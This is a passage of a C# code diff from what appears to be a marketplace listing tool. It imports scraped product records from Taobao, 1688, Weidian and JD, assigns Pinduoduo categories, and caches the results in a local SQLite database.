value = p.Prop[i].Value; + break; + } + } + int keyId = 0, valueId = 0; + if (!string.IsNullOrEmpty(value) && value.Contains("%")) + { + string v = BaseRegex.GetMatchRegexString(ref value, @"([\d]+)%"); + string namex = value.Substring(0, value.IndexOf(v + "%")); + if (string.IsNullOrEmpty(v) || string.IsNullOrEmpty(namex)) + { + goto NoValue; + } + int pe = int.Parse(v); + + foreach (KeyValuePair k in TypeName) + { + if (k.Key.Contains(namex) || namex.Contains(k.Key)) + { + keyId = k.Value; + foreach (KeyValuePair vv in TypeValues) + { + var mm = BaseRegex.GetMatchRegex(vv.Key, @"([\d]+)%"); + if (mm.Count == 2) + { + int min = int.Parse(mm[0].Groups[1].Value); + int max = int.Parse(mm[1].Groups[1].Value); + if (pe >= min && pe <= max) + { + valueId = vv.Value; + goto NoValue; + } + } + } + break; + } + } + + } + NoValue: + if (keyId == 0) + keyId = firstKeyId; + if (valueId == 0) + valueId = firstValueId; + string addContent = ",\"fabric\":" + keyId + ",\"fabric_content\":" + valueId; + return addContent; + } + return ""; + } + public List CatTemp = new List(); + public List DataBaseTemp = new List(); + public List batchDataBaseTemp = new List(); + public async Task InputData(string file, string shopName) + { + await Task.Run(() => + { + InputData(file, shopName, null); + }); + GetMainCat(); + } + + public async Task InputData(string file, string shopName, string[] fc) + { + bool message = false; + string[] f; + if (fc != null) + f = fc; + else + f = FileBase.ReadAllLines(file, GetFileEncoding(file)); + if (f == null || f.Length == 0) + return; + + for (int i = 0; i < f.Length; i++) + { + if (i > 10000) + { + } + if (string.IsNullOrEmpty(f[i])) + continue; + string l = f[i]; + if (!(l.Contains("detail.tmall") || l.Contains("taobao.com") || l.Contains("1688.com") || l.Contains("weidian.com") || l.Contains("jd.com"))) + { + try + { + l = Md5Base.EncryptDecode(l); + } + catch + { + continue; + } + } + if ((f[i].Contains("淘宝") || f[i].Contains("阿里巴巴")) && f[i].Split(',').Length <= 7) + l = f[i]; + if (string.IsNullOrEmpty(l)) + continue; + //l = l.Replace("\t", "-----").Replace("----------", "-----").Replace("----------", "-----").Replace(",", "").Replace("\"", ""); + string lb = l; + string sp = "-----"; + string url = l, title = "", shop = "", catid = "", from = "", fid = ""; + string viname = "", viId = "", viPrice = "", viMPrice = ""; + if (l.Contains("\",\"")) + { + var mm = BaseRegex.GetMatchRegex(l, @"(.*?),""([\d]+)"",""([^""]+?)"",""([\d]+)"",""([\d]+)"",""([\d]+)"",""([\d]+)"",""([\d]+)"",""([-.\d]+%\+[-.\d]+)"",""([^""]+?)"""); + if (mm != null && mm.Count > 0) + { + from = mm[0].Groups[1].Value.Replace("\"", "").Replace("\"", ""); + fid = mm[0].Groups[2].Value; + title = mm[0].Groups[3].Value; + catid = mm[0].Groups[6].Value; + viname = mm[0].Groups[7].Value; + viId = mm[0].Groups[8].Value; + viPrice = mm[0].Groups[9].Value; + viMPrice = mm[0].Groups[10].Value; + goto End; + } + var m = BaseRegex.GetMatchRegex(l, @"""([^""]+?)"",""([\d]+?)"",""([^""]+?)"",""([\d]+?)"",""([\d]+?)"",""([\d]+?)"",""([^""]+?)"",""([\d]+?)"",""([^""]+?)"""); + if (m.Count == 0) + m = BaseRegex.GetMatchRegex(l, @"""([^""]+?)"",""([\d]+?)"",""([^""]+?)"",""([\d]+?)"",""([\d]+?)"",""([\d]+?)"""); + //var m = BaseRegex.GetMatchRegex(f[i], @"""([^""]+?)"",""([\d]+?)"",""([^""]+?)"",""([\d]+?)"",""([\d]+?)"",""([\d]+?)"""); + if (m != null && m.Count > 0) + { + from = m[0].Groups[1].Value; + fid = m[0].Groups[2].Value; + title = m[0].Groups[3].Value; + catid = m[0].Groups[6].Value; + viname = m[0].Groups[7].Value; + viId = m[0].Groups[8].Value; + viPrice = m[0].Groups[9].Value; + //if (from== "搜款网") //这里不要还原 + //{ + // //from = "拼多多"; + // int p1 = 0; + // int p2 = fid.Length - 1; + // string ret = ""; + // ret = fid.Substring(0, p1) + fid[p2]; + // ret += fid.Substring(p1 + 1, p2 - p1 - 1) + fid[p1]; + // ret += fid.Substring(p2 + 1, fid.Length - p2 - 1); + // fid = ret; + //} + goto End; + } + + } + + if (l.Contains(sp)) + { + url = l.Substring(0, l.IndexOf(sp)); + l = l.Substring(l.IndexOf(sp) + sp.Length); + title = l; + } + if (title.Contains(sp)) + { + title = l.Substring(0, l.IndexOf(sp)); + l = l.Substring(l.IndexOf(sp) + sp.Length); + shop = l; + } + if (shop.Contains(sp)) + { + shop = l.Substring(0, l.IndexOf(sp)); + l = l.Substring(l.IndexOf(sp) + sp.Length); + catid = BaseRegex.GetMatchRegexString(l, @"([\d]+)"); + } + if (string.IsNullOrEmpty(shop)) + shop = shopName; + shop = ""; + fid = BaseRegex.GetMatchRegexString(url, @"/([\d]+)\.html"); + if (string.IsNullOrEmpty(fid)) + fid = BaseRegex.GetMatchRegexString(url, @"goods_id=([\d]+)"); + if (string.IsNullOrEmpty(fid)) + fid = BaseRegex.GetMatchRegexString(url, @"id=([\d]+)"); + + if (url.Contains("yangkeduo.com")) + { + from = "拼多多"; + continue; + } + if (url.Contains(".taobao.com") || url.Contains(".tmall.com")) + from = "淘宝"; + if (url.Contains(".1688.com")) + from = "阿里巴巴"; + if (url.Contains("weidian.com")) + from = "微店"; + if (url.Contains("jd.com")) + from = "京喜"; + if (!lb.Contains("-----") && lb.Contains(@""",""")) + { + var m = BaseRegex.GetMatchRegex(ref lb, @"""(.*?)"",""([\d]+)"",""(.*?)"""); + if (m == null || m.Count <= 0) continue; + if (m.Count > 0) + { + from = m[0].Groups[1].Value; + fid = m[0].Groups[2].Value; + title = m[0].Groups[3].Value; + catid = ""; + } + } + End: + //if (!string.IsNullOrEmpty(viname) && viname != "6") 临时开放转换淘宝 + if (!string.IsNullOrEmpty(viname) && viname != "6" && viname != "1") + continue; + if (string.IsNullOrEmpty(fid) || string.IsNullOrEmpty(from)) + continue; + if (!string.IsNullOrEmpty(viPrice) && string.IsNullOrEmpty(viMPrice)) + { + if (!message) + { + MessageBox.Show("老格式数据已经不支持\r\n请升级采集程序,重新转化数据后导入新格式,重新转化速度会很快", "提示:老格式已经不支持"); + message = true; + } + continue; + } + if (BaseClass.UpIds.Count > 0) + { + bool ishas = false; + for (int j = 0; j < BaseClass.UpIds.Count; j++) + { + string rid = BaseRegex.GetMatchRegexString(BaseClass.UpIds[j], @"([\d]+)"); + if (string.IsNullOrEmpty(rid)) + continue; + if (fid == rid) + { + ishas = true; + break; + } + } + if (ishas) + continue; + } + TaobaoProductBase t = new TaobaoProductBase(); + long idx; + if (!long.TryParse(fid, out idx)) + continue; + t.TolerantFormId = fid; + t.FromId = idx; + if (ProductStock.FindAll(p => p != null && p.FromId == t.FromId).Count + CatTemp.FindAll(p => p != null && p.FromId == t.FromId).Count >= 500) + continue; + t.ViGoodsName = viname; + long.TryParse(viId, out t.ViGoodsId); + t.ViPrice = viPrice; + t.FromType = from; + + + if (!string.IsNullOrEmpty(viMPrice)) + { + t.ViPriceMaxMin = viMPrice; + string[] strPrice = viMPrice.Split(':'); + if (strPrice.Length == 3) + { + t.ViPriceMin = (int)(decimal.Parse(strPrice[0]) * 100); + t.ViPriceMax = (int)(decimal.Parse(strPrice[1]) * 100); + t.ViExpressPrice = (int)(decimal.Parse(strPrice[2])); + } + } + + if (!string.IsNullOrEmpty(catid)) + { + if (catid.Length > 8) + continue; + int cid = int.Parse(catid); + cid = PinduoduoCatList.GetNewCat3(cid); + if (PinduoduoCatList.CatIds.ContainsKey(cid)) + { + var ci = PinduoduoCatList.CatIds[cid]; + t.CatId = ci.id; + t.Cat1 = ci.cat1; + t.Cat2 = ci.cat2; + t.Cat3 = ci.cat3; + t.Cat4 = ci.cat4; + FromTitleToCat ff = new FromTitleToCat(); + int mainCatId = ff.GetMainCatId(t.Cat1); + t.MainCatName = ff.MainCatName; + t.MainCatId = ci.main_cat_id; + if (ci.main_cat_id != mainCatId && mainCatId != 0) + t.MainCatId = mainCatId; + } + else if (PinduoduoCatList.CatBaks.ContainsKey(cid)) + { + var ci = PinduoduoCatList.CatBaks[cid]; + t.CatId = ci.id; + t.Cat1 = ci.cat1; + t.Cat2 = ci.cat2; + t.Cat3 = ci.cat3; + t.Cat4 = ci.cat4; + FromTitleToCat ff = new FromTitleToCat(); + int mainCatId = ff.GetMainCatId(t.Cat1); + t.MainCatName = ff.MainCatName; + t.MainCatId = ci.main_cat_id; + if (ci.main_cat_id != mainCatId && mainCatId != 0) + t.MainCatId = mainCatId; + } + else + { + if (t.FromType == "搜款网") + t.CatId = cid; + } + } + t.Titlte = title.Replace("\",\"", ""); + var sh = GetShopLoginInfo.Shops.Find(s => s.ShopName == shop); + if (sh != null) + { + if (t.MainCatId > 0) + { + if (t.MainCatId == sh.MainCatId) + t.ShopName = sh.ShopName; + } + else + t.ShopName = sh.ShopName; + } + //if (t.MainCatId > 0) + //{ + if (!ProductStock.Exists(p => p != null && p.FromId == t.FromId && p.Titlte == t.Titlte)) + { + ProductStock.Add(t); + //if (t.MainCatId > 0) + DataBaseTemp.Add(t); + batchDataBaseTemp.Add(t); + if (batchDataBaseTemp.Count == 500) + { + AddListToDataBaseSingle(batchDataBaseTemp); + batchDataBaseTemp.Clear(); + } + if (string.IsNullOrEmpty(t.ShopName)) + continue; + var s = GetShopLoginInfo.Shops.Find(ss => ss.ShopName == t.ShopName); + if (s != null) + { + s.ProductCount++; + ShopReplaceTemp.Add(s); + ShopTemp.Add(s); + } + } + continue; + //} + //if (ProductStock.Exists(p => p != null && p.FromId == t.FromId && p.Titlte == t.Titlte) || CatTemp.Exists(p => p != null && p.FromId == t.FromId && p.Titlte == t.Titlte)) + // continue; + //CatTemp.Add(t); + } + if (batchDataBaseTemp.Count > 0) + { + AddListToDataBaseSingle(batchDataBaseTemp); + batchDataBaseTemp.Clear(); + } + string s1s = ""; + foreach (var v1 in ProductStock) + { + s1s += v1.FromId + "\r\n"; + } + //new Thread(AddListToDataBase).Start(); + //new Thread(GetCat).Start(); + //if (CatTemp.Count > 0) + //{ + // MessageBox.Show("正在努力识别分类,请稍等", "提示"); + //} + } + public static List batchString = new List(); + public void AddListToDataBaseSingle(List temp) + { + for (int i = 0; i < temp.Count; i++) + { + AddbatchToDataBase(temp[i]); + } + SqliteHelper.BatchExecuteNonQuery(batchString); + batchString.Clear(); + } + public void AddListToDataBase() + { + for (int i = 0; i < DataBaseTemp.Count; i++) + { + AddbatchToDataBase(DataBaseTemp[i]); + if ((i + 1) % 500 == 0) + { + SqliteHelper.BatchExecuteNonQuery(batchString); + batchString.Clear(); + } + } + if (batchString.Count > 0) + { + SqliteHelper.BatchExecuteNonQuery(batchString); + batchString.Clear(); + } + } + public static void AddbatchToDataBase(TaobaoProductBase p) + { + string content = p.FromId + "," + p.FromType + "," + p.Titlte + "," + p.Cat1 + "," + p.Cat2 + "," + + p.Cat3 + "," + p.Cat4 + "," + p.CatId + "," + p.MainCatId + "," + p.MainCatName + "," + p.MainImage + "," + + p.Price + "," + p.SaleCount + "," + p.ShopName + "," + p.AddPrice; + if (!string.IsNullOrEmpty(p.ViGoodsName)) + content += "," + p.ViGoodsId + "," + p.ViGoodsName + "," + p.ViPrice + "," + p.ViPriceMaxMin; + string sql = "insert into Product(content,fromid) values('" + SqliteHelper.ReplaceSqlx(content) + "','" + p.guid + "')"; + batchString.Add(sql); + } + + public static System.Text.Encoding GetFileEncoding(string filename) + { + + using (var fs = new System.IO.FileStream(filename, System.IO.FileMode.Open, System.IO.FileAccess.Read)) + using (var br = new System.IO.BinaryReader(fs)) + { + var buffer = br.ReadBytes(2); + if (buffer[0] >= 0xEF) + { + if (buffer[0] == 0xEF && buffer[1] == 0xBB) + { + return System.Text.Encoding.UTF8; + } + + if (buffer[0] == 0xFE && buffer[1] == 0xFF) + { + return System.Text.Encoding.BigEndianUnicode; + } + + if (buffer[0] == 0xFF && buffer[1] == 0xFE) + { + return System.Text.Encoding.Unicode; + } + } + + return GetEncodingWithBomUtf8(fs, System.Text.Encoding.Default); + } + + } + private static System.Text.Encoding GetEncodingWithBomUtf8(Stream fs, Encoding defaultEncoding) + { + byte[] unicode = new byte[] { 0xFF, 0xFE, 0x41 }; + byte[] unicodeBig = new byte[] { 0xFE, 0xFF, 0x00 }; + + //带BOM + byte[] utf8 = new byte[] { 0xEF, 0xBB, 0xBF }; + var reVal = defaultEncoding; + + using (var r = new System.IO.BinaryReader(fs)) + { + byte[] ss = r.ReadBytes(4); + if (ss[0] == 0xFE && ss[1] == 0xFF && ss[2] == 0x00) + { + reVal = Encoding.BigEndianUnicode; + } + else if (ss[0] == 0xFF && ss[1] == 0xFE && ss[2] == 0x41) + { + reVal = Encoding.Unicode; + } + else + { + if (ss[0] == 0xEF && ss[1] == 0xBB && ss[2] == 0xBF) + { + reVal = Encoding.UTF8; + } + else + { + int i; + int.TryParse(fs.Length.ToString(), out i); + ss = r.ReadBytes(i); + + if (IsUtf8Bytes(ss)) + { + reVal = Encoding.UTF8; + } + } + } + + return reVal; + } + } + + /// + /// 判断是否是不带 BOM 的 UTF8 格式 + /// + /// + /// + private static bool IsUtf8Bytes(byte[] data) + { + int charByteCounter = 1;  //计算当前正分析的字符应还有的字节数 + for (int i = 0; i < data.Length; i++) + { + var curByte = data[i]; //当前分析的字节. + if (charByteCounter == 1) + { + if (curByte >= 0x80) + { + //判断当前 + while (((curByte <<= 1) & 0x80) != 0) + { + charByteCounter++; + } + //标记位首位若为非0 则至少以2个1开始 如:110XXXXX...........1111110X  + if (charByteCounter == 1 || charByteCounter > 6) + { + return false; + } + } + } + else + { + //若是UTF-8 此时第一位必须为1 + if ((curByte & 0xC0) != 0x80) + { + return false; + } + charByteCounter--; + } + } + if (charByteCounter > 1) + { + throw new Exception("非预期的byte格式!"); + } + return true; + } + + public void GetCat() + { + int CatThreadCount = 20; + if (FromTitleToCat.UserApi) + CatThreadCount = 2; + List ts = new List(); + for (int i = 0; i < CatTemp.Count; i++) + { + try + { + if (CatTemp[i] == null) + continue; + if (CatTemp[i].FromType == "拼多多") + { + PinduoduoProductCollect pp = new PinduoduoProductCollect(Name, CatTemp[i], false); + if (!string.IsNullOrEmpty(CatTemp[i].Titlte)) + { + KeyValuesBase k; + FromTitleToCat ftt = new FromTitleToCat(); + if (FromTitleToCat.TempCat.ContainsKey(CatTemp[i].FromId)) + { + k = FromTitleToCat.TempCat[CatTemp[i].FromId]; + ftt.Cat1 = k.Value1; + ftt.Cat2 = k.Value2; + ftt.Cat3 = k.Value3; + ftt.Cat4 = k.Value4; + if (ftt.Cat3 != "0" || ftt.Cat4 != "0") + { + ftt.MainCatId = k.Key; + ftt.GetMainCatId(int.Parse(ftt.Cat1)); + } + } + else + { + k = ftt.GetServerTempCat(CatTemp[i].FromId, 2); + } + if (k != null) + { + pp.pb.cat1 = int.Parse(ftt.Cat1); + pp.pb.cat2 = int.Parse(ftt.Cat2); + pp.pb.cat3 = int.Parse(ftt.Cat3); + pp.pb.cat4 = int.Parse(ftt.Cat4); + pp.pb.cat_id = pp.pb.cat4 > 0 ? pp.pb.cat4 : pp.pb.cat3; + pp.pb.main_cid = int.Parse(ftt.MainCatId); + ftt.GetMainCatId(pp.pb.cat1); + pp.pb.main_cat_name = ftt.MainCatName; + } + else + { + pp.Get(); + } + } + else + { + Thread.Sleep(500); + pp.Get(); + if (!TaobaoMobileCollect.ProductTemp.ContainsKey(CatTemp[i].FromId)) + { + if (!pp.OnSale) + CatTemp[i].Message = pp.message;// "商品或已下架"; + else + CatTemp[i].Message = pp.message;// "IP或买手号被限制,请更换IP或检查买手号是否能正常浏览商品"; + LogSave.Add(Name, CatTemp[i].FromId + ":" + CatTemp[i].Message); + continue; + } + } + if (pp.pb.cat1 == 0) + { + Thread.Sleep(5000); + LogSave.Add(Name, "拼多多ID已下架:" + CatTemp[i].FromId); + continue; + } + + CatTemp[i].Cat1 = pp.pb.cat1; + CatTemp[i].Cat2 = pp.pb.cat2; + CatTemp[i].Cat3 = pp.pb.cat3; + CatTemp[i].Cat4 = pp.pb.cat4; + CatTemp[i].CatId = pp.pb.cat_id; + if (pp.pb.price > 0) + CatTemp[i].Price = pp.pb.price; + CatTemp[i].SaleCount = pp.pb.saleCount; + CatTemp[i].MainCatId = pp.pb.main_cid; + CatTemp[i].MainCatName = pp.pb.main_cat_name; + CatTemp[i].country = pp.pb.country; + if (string.IsNullOrEmpty(CatTemp[i].Titlte)) + { + CatTemp[i].Titlte = pp.pb.name; + } + var s = GetShopLoginInfo.Shops.Find(ss => ss.ShopName == CatTemp[i].ShopName); + if (s != null) + { + if (CatTemp[i].MainCatId == s.MainCatId) + { + s.ProductCount++; + ShopReplaceTemp.Add(s); + ShopTemp.Add(s); + } + else + { + CatTemp[i].ShopName = ""; + } + } + ProductStock.Add(CatTemp[i]); + AddToDataBase(CatTemp[i]); + continue; + } + if (string.IsNullOrEmpty(CatTemp[i].Titlte)) + { + ProductCollectBase pb = new ProductCollectBase(); + pb.from_id = CatTemp[i].FromId; + pb.from = CatTemp[i].FromType; + if (CatTemp[i].FromType == "淘宝") + { + pb.from_url = "https://item.taobao.com/item.htm?id=" + CatTemp[i].FromId; + TaobaoMobileCollect tm = new TaobaoMobileCollect(pb); + tm.Pinduoduo = true; + tm.NoContent = true; + tm.Get(); + pb = tm.Product; + CatTemp[i].Titlte = pb.name; + CatTemp[i].Cat1 = pb.cat1; + CatTemp[i].Cat2 = pb.cat2; + CatTemp[i].Cat3 = pb.cat3; + CatTemp[i].Cat4 = pb.cat4; + CatTemp[i].CatId = pb.cat4 > 0 ? pb.cat4 : pb.cat3; + CatTemp[i].MainCatId = pb.main_cid; + CatTemp[i].MainCatName = pb.main_cat_name; + CatTemp[i].country = pb.country; + } + if (CatTemp[i].FromType == "阿里巴巴") + { + pb.from_url = "https://detail.1688.com/offer/" + CatTemp[i].FromId + ".html"; + AlibabaProductGet ali = new AlibabaProductGet(pb); + ali.IsPinduoduo = true; + ali.Get(); + pb = ali.Product; + CatTemp[i].Titlte = pb.name; + } + Thread.Sleep(100); + } + if (CatTemp[i].CatId > 0) + { + ProductStock.Add(CatTemp[i]); + AddToDataBase(CatTemp[i]); + continue; + } + if (string.IsNullOrEmpty(CatTemp[i].Titlte)) + continue; + FromTitleToCat ft = new FromTitleToCat(); + ft.TaobaoProduct = CatTemp[i]; + ft.Title = CatTemp[i].Titlte; + ft.AddToStock = true; + Threadx.ThreadListWait(ref ts, new Thread(ft.Get), CatThreadCount); + Thread.Sleep(100); + } + catch + { + + } + } + } + + public void GetMainCat(int sleepTime = 1000) + { + string temp = ""; + Dictionary cat = new Dictionary(); + for (int i = 0; i < UploadPinduoduoMain.ProductStock.Count; i++) + { + var p = UploadPinduoduoMain.ProductStock[i]; + if (p == null) + continue; + if (cat.ContainsKey(p.MainCatName)) + cat[p.MainCatName]++; + else + cat.Add(p.MainCatName, 1); + } + cat = cat.OrderByDescending(d => d.Key).ToDictionary(p => p.Key, o => o.Value); + var c = cat.ToList(); + for (int i = 0; i < c.Count; i++) + { + temp += " " + (c[i].Key == "" ? "待分类" : c[i].Key) + ":" + c[i].Value; + } + AddCatString = temp; + Thread.Sleep(sleepTime); + } + + + public void GetNewCat() + { + int CatThreadCount = 20; + if (FromTitleToCat.UserApi) + CatThreadCount = 2; + List ts = new List(); + for (int i = 0; i < CatTemp.Count; i++) + { + try + { + if (CatTemp[i] == null) + continue; + if (CatTemp[i].FromType == "拼多多") + { + PinduoduoProductCollect pp = new PinduoduoProductCollect(Name, CatTemp[i], UploadPinduoduoSet.IsUseProxyCollectUp); + if (!string.IsNullOrEmpty(CatTemp[i].Titlte)) + { + KeyValuesBase k; + FromTitleToCat ftt = new FromTitleToCat(); + if (FromTitleToCat.TempCat.ContainsKey(CatTemp[i].FromId)) + { + k = FromTitleToCat.TempCat[CatTemp[i].FromId]; + ftt.Cat1 = k.Value1; + ftt.Cat2 = k.Value2; + ftt.Cat3 = k.Value3; + ftt.Cat4 = k.Value4; + if (ftt.Cat3 != "0" || ftt.Cat4 != "0") + { + ftt.MainCatId = k.Key; + ftt.GetMainCatId(int.Parse(ftt.Cat1)); + } + } + else + { + k = ftt.GetServerTempCat(CatTemp[i].FromId, 2); + } + if (k != null) + { + pp.pb.cat1 = int.Parse(ftt.Cat1); + pp.pb.cat2 = int.Parse(ftt.Cat2); + pp.pb.cat3 = int.Parse(ftt.Cat3); + pp.pb.cat4 = int.Parse(ftt.Cat4); + pp.pb.cat_id = pp.pb.cat4 > 0 ? pp.pb.cat4 : pp.pb.cat3; + pp.pb.main_cid = int.Parse(ftt.MainCatId); + ftt.GetMainCatId(pp.pb.cat1); + pp.pb.main_cat_name = ftt.MainCatName; + } + else + { + pp.Get(); + } + } + else + { + Thread.Sleep(500); + pp.Get(); + if (!TaobaoMobileCollect.ProductTemp.ContainsKey(CatTemp[i].FromId)) + { + if (!pp.OnSale) + CatTemp[i].Message = pp.message;// "商品或已下架"; + else + CatTemp[i].Message = pp.message;// "IP或买手号被限制,请更换IP或检查买手号是否能正常浏览商品"; + LogSave.Add(Name, CatTemp[i].FromId + ":" + CatTemp[i].Message); + continue; + } + } + if (pp.pb.cat1 == 0) + { + Thread.Sleep(5000); + LogSave.Add(Name, "拼多多ID已下架:" + CatTemp[i].FromId); + continue; + } + + CatTemp[i].Cat1 = pp.pb.cat1; + CatTemp[i].Cat2 = pp.pb.cat2; + CatTemp[i].Cat3 = pp.pb.cat3; + CatTemp[i].Cat4 = pp.pb.cat4; + CatTemp[i].CatId = pp.pb.cat_id; + if (pp.pb.price > 0) + CatTemp[i].Price = pp.pb.price; + CatTemp[i].SaleCount = pp.pb.saleCount; + CatTemp[i].MainCatId = pp.pb.main_cid; + CatTemp[i].MainCatName = pp.pb.main_cat_name; + CatTemp[i].country = pp.pb.country; + if (string.IsNullOrEmpty(CatTemp[i].Titlte)) + { + CatTemp[i].Titlte = pp.pb.name; + } + var s = GetShopLoginInfo.Shops.Find(ss => ss.ShopName == CatTemp[i].ShopName); + if (s != null) + { + if (CatTemp[i].MainCatId == s.MainCatId) + { + s.ProductCount++; + ShopReplaceTemp.Add(s); + ShopTemp.Add(s); + } + else + { + CatTemp[i].ShopName = ""; + } + } + var ps = ProductStock.Find(p => p.FromId == CatTemp[i].FromId && p.Titlte == CatTemp[i].Titlte); + ps = CatTemp[i]; + continue; + } + if (string.IsNullOrEmpty(CatTemp[i].Titlte)) + { + ProductCollectBase pb = new ProductCollectBase(); + pb.from_id = CatTemp[i].FromId; + pb.from = CatTemp[i].FromType; + if (CatTemp[i].FromType == "淘宝") + { + pb.from_url = "https://item.taobao.com/item.htm?id=" + CatTemp[i].FromId; + TaobaoMobileCollect tm = new TaobaoMobileCollect(pb); + tm.Pinduoduo = true; + tm.NoContent = true; + tm.Get(); + pb = tm.Product; + CatTemp[i].Titlte = pb.name; + CatTemp[i].Cat1 = pb.cat1; + CatTemp[i].Cat2 = pb.cat2; + CatTemp[i].Cat3 = pb.cat3; + CatTemp[i].Cat4 = pb.cat4; + CatTemp[i].CatId = pb.cat4 > 0 ? pb.cat4 : pb.cat3; + CatTemp[i].MainCatId = pb.main_cid; + CatTemp[i].MainCatName = pb.main_cat_name; + CatTemp[i].country = pb.country; + CatTemp[i].logisticsTime = pb.logisticsTime; + } + if (CatTemp[i].FromType == "阿里巴巴") + { + pb.from_url = "https://detail.1688.com/offer/" + CatTemp[i].FromId + ".html"; + AlibabaProductGet ali = new AlibabaProductGet(pb); + ali.IsPinduoduo = true; + ali.Get(); + pb = ali.Product; + CatTemp[i].Titlte = pb.name; + } + if (CatTemp[i].FromType == "微店") + { + WeiDianProductCollect wd = new WeiDianProductCollect(CatTemp[i]); + wd.Get(); + pb = wd.pb; + CatTemp[i].Titlte = pb.name; + } + if (CatTemp[i].FromType == "京喜") + { + pb.from_url = "https://item.m.jd.com/product/" + CatTemp[i].FromId + ".html"; + JingXiCollect jx = new JingXiCollect(pb); + jx.Get(); + pb = jx.Product; + CatTemp[i].Titlte = pb.name; + } + Thread.Sleep(100); + } + if (CatTemp[i].CatId > 0) + { + UpdateToDataBase(CatTemp[i]); + var ps = ProductStock.Find(p => p.FromId == CatTemp[i].FromId && p.Titlte == CatTemp[i].Titlte); + ps = CatTemp[i]; + continue; + } + if (string.IsNullOrEmpty(CatTemp[i].Titlte)) + continue; + FromTitleToCat ft = new FromTitleToCat(); + ft.TaobaoProduct = CatTemp[i]; + ft.Title = CatTemp[i].Titlte; + ft.AddToStock = true; + Threadx.ThreadListWait(ref ts, new Thread(ft.GetLoad), CatThreadCount); + Thread.Sleep(100); + } + catch + { + + } + } + } + + /// + /// 添加数据到数据库缓存 + /// + /// + public static void AddToDataBase(TaobaoProductBase p) + { + string content = p.FromId + "," + p.FromType + "," + p.Titlte + "," + p.Cat1 + "," + p.Cat2 + "," + + p.Cat3 + "," + p.Cat4 + "," + p.CatId + "," + p.MainCatId + "," + p.MainCatName + "," + p.MainImage + "," + + p.Price + "," + p.SaleCount + "," + p.ShopName + "," + p.AddPrice; + if (!string.IsNullOrEmpty(p.ViGoodsName)) + content += "," + p.ViGoodsId + "," + p.ViGoodsName + "," + p.ViPrice + "," + p.ViPriceMaxMin; + string sql = "insert into Product(content,fromid) values('" + SqliteHelper.ReplaceSqlx(content) + "','" + p.guid + "')"; + try + { + SqliteHelper.ExecuteNonQuery(sql); + } + catch + { + } + } + public static void UpdateToDataBase(TaobaoProductBase p) + { + string content = p.FromId + "," + p.FromType + "," + p.Titlte + "," + p.Cat1 + "," + p.Cat2 + "," + + p.Cat3 + "," + p.Cat4 + "," + p.CatId + "," + p.MainCatId + "," + p.MainCatName + "," + p.MainImage + "," + + p.Price + "," + p.SaleCount + "," + p.ShopName + "," + p.AddPrice; + if (!string.IsNullOrEmpty(p.ViGoodsName)) + content += "," + p.ViGoodsId + "," + p.ViGoodsName + "," + p.ViPrice + "," + p.ViPriceMaxMin; + string sql = "update Product set content= '" + SqliteHelper.ReplaceSqlx(content) + "' where fromid='" + p.guid + "'"; + try + { + SqliteHelper.ExecuteNonQuery(sql); + } + catch + { + } + } + /// + /// 删除数据 ID为空则删除全部数据 + /// + /// + public static void Delete(string id) + { + + string sql = "DELETE FROM Product WHERE fromid = '" + id + "' "; + if (string.IsNullOrEmpty(id)) + sql = "DELETE FROM Product "; + try + { + SqliteHelper.ExecuteNonQuery(sql); + } + catch + { + } + } + + + /// + /// 加载缓存 + /// + public void LoadStock() + { + SqliteHelper.CreateProductTable(); + formIdlist.Clear(); + new Thread(LoadPbbStock).Start(); + DataTable dt = SqliteHelper.ExecuteTable("select fromid,content from Product"); + for (int i = 0; dt != null && i < dt.Rows.Count; i++) + { + string s = dt.Rows[i]["content"].ToString(); + formIdlist.Add(dt.Rows[i]["fromid"].ToString()); + if (string.IsNullOrEmpty(s) || !s.Contains(",")) + continue; + string[] ll = s.Split(','); + if (ll.Length != 13 && ll.Length != 15 && ll.Length != 19) + continue; + try + { + TaobaoProductBase t = new TaobaoProductBase(); + if (string.IsNullOrEmpty(ll[0])) + continue; + t.FromId = long.Parse(ll[0]); + t.FromType = ll[1]; + t.Titlte = ll[2].Replace("\",\"", ""); + t.Cat1 = int.Parse(ll[3]); + t.Cat2 = int.Parse(ll[4]); + t.Cat3 = int.Parse(ll[5]); + t.Cat4 = int.Parse(ll[6]); + t.CatId = int.Parse(ll[7]); + t.MainCatId = int.Parse(ll[8]); + t.MainCatName = ll[9]; + if (t.MainCatId == 0) + { + FromTitleToCat f = new FromTitleToCat(); + t.MainCatId = f.GetMainCatId(t.Cat1); + t.MainCatName = f.MainCatName; + } + t.MainImage = int.Parse(ll[10]); + t.Price = decimal.Parse(ll[11]); + t.SaleCount = int.Parse(ll[12]); + t.guid = dt.Rows[i]["fromid"].ToString(); + if (ll.Length == 15 || ll.Length == 19) + { + t.ShopName = ll[13]; + t.AddPrice = int.Parse(ll[14]); + } + if (ll.Length > 15) + { + long.TryParse(ll[15], out t.ViGoodsId); + t.ViGoodsName = ll[16]; + t.ViPrice = ll[17]; + t.ViPriceMaxMin = ll[18]; + string[] strPrice = t.ViPriceMaxMin.Split(':'); + if (strPrice.Length == 3) + { + t.ViPriceMin = (int)(decimal.Parse(strPrice[0]) * 100); + t.ViPriceMax = (int)(decimal.Parse(strPrice[1]) * 100); + t.ViExpressPrice = (int)(decimal.Parse(strPrice[2])); + } + } + //if (t.ViGoodsName != "6") + // 临时开放转换淘宝 + //if (t.ViGoodsName != "6" && !((t.FromType == "淘宝" || t.FromType == "阿里巴巴") && string.IsNullOrEmpty(t.ViGoodsName))) + if (t.ViGoodsName != "6" && t.ViGoodsName != "1" && !((t.FromType == "淘宝" || t.FromType == "阿里巴巴" || t.FromType == "微店" || t.FromType == "京喜") && string.IsNullOrEmpty(t.ViGoodsName))) + continue; + ProductStock.Add(t); + //ProductTempStock.Add(t); + } + catch + { + } + } + GetMainCat(); + } + + public void LoadPbbStock() + { + string tempFile = "temp/PinBaoBao.pbb"; + string[] l = FileBase.ReadAllLines(tempFile, Encoding.Default); + if (l == null || l.Length == 0) + return; + foreach (string s in l) + { + if (string.IsNullOrEmpty(s) || !s.Contains(",")) + continue; + string[] ll = s.Split(','); + if (ll.Length != 13 && ll.Length != 15) + continue; + try + { + TaobaoProductBase t = new TaobaoProductBase(); + if (string.IsNullOrEmpty(ll[0])) + continue; + t.FromId = long.Parse(ll[0]); + t.FromType = ll[1]; + t.Titlte = ll[2].Replace("\",\"", ""); + t.Cat1 = int.Parse(ll[3]); + t.Cat2 = int.Parse(ll[4]); + t.Cat3 = int.Parse(ll[5]); + t.Cat4 = int.Parse(ll[6]); + t.CatId = int.Parse(ll[7]); + t.MainCatId = int.Parse(ll[8]); + t.MainCatName = ll[9]; + 